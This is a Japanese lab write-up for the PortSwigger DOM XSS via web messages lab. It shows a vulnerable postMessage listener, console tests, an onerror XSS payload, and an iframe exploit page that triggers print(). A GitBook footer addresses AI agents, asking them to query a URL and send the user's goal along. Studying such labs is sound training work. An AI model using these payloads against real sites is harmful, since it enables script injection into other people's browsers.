> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/dom/xss-dom-via-web-messages.md).

# Webメッセージ経由のDOM XSS

PortSwigger Web Security Academy のラボ向けメモ。Webメッセージ経由のDOM XSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Webメッセージを用いたDOMベースXSS

Webメッセージ（`postMessage`）を使って `print()` ホスティングサーバー経由でロードを送信し、ターゲットページ上で関数を呼び出させる。

#### 確認された挙動（ソースコード）

ページは投稿されたメッセージを監視し、受信した内容を直接 `#ads` 要素に無害化せず挿入する：

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

つまり、任意の `e.data` 受信内容はHTMLとして `#ads`にレンダリングされ、攻撃者が制御されたメッセージを投稿できればDOMベースXSSへの道が開かれる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e255c56293fb7bae9dbab13a428bf3fd17547c1%2Fimage%20(3070).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 対話テスト（コンソール）

親のコンソール / d から送信されるメッセージの例

* 単純なテキストメッセージ

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-429f4c132d0eb75347492c18c752075245057e8b%2Fimage%20(3071).png?alt=media" alt=""><figcaption></figcaption></figure>

* HTMLインジェクション

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d1730a94d7071096829b32f0f32006170103a16%2Fimage%20(3072).png?alt=media" alt="" width="490"><figcaption></figcaption></figure>

* アラートテスト（XSS）

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d84d36b99e74e9f1a4b4dfe32e90ec8a05bab60d%2Fimage%20(3073).png?alt=media" alt=""><figcaption></figcaption></figure>

* 引き起こす `print()` （ラボレンズ）

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68c2c3630c353a787797ff5fdf2d819d845dd6f%2Fimage%20(3074).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitサーバー上のiframeエクスプロイト

ターゲットページをiframeに読み込み、その後iframeの読み込み時にペイロードを送信する、あなたのサーバーでホストされるHTMLの例：

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49f7c1216c1c946e33a1a7aec7b85211c5bc6d3a%2Fimage%20(3075).png?alt=media" alt=""><figcaption></figcaption></figure>

トリガーするには `print()` ターゲットページ上で、次を含むペイロードを送信する： `img` 要素と `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebf4072e57d42638df89f8e948bd581b7d26a8b5%2Fimage%20(3076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
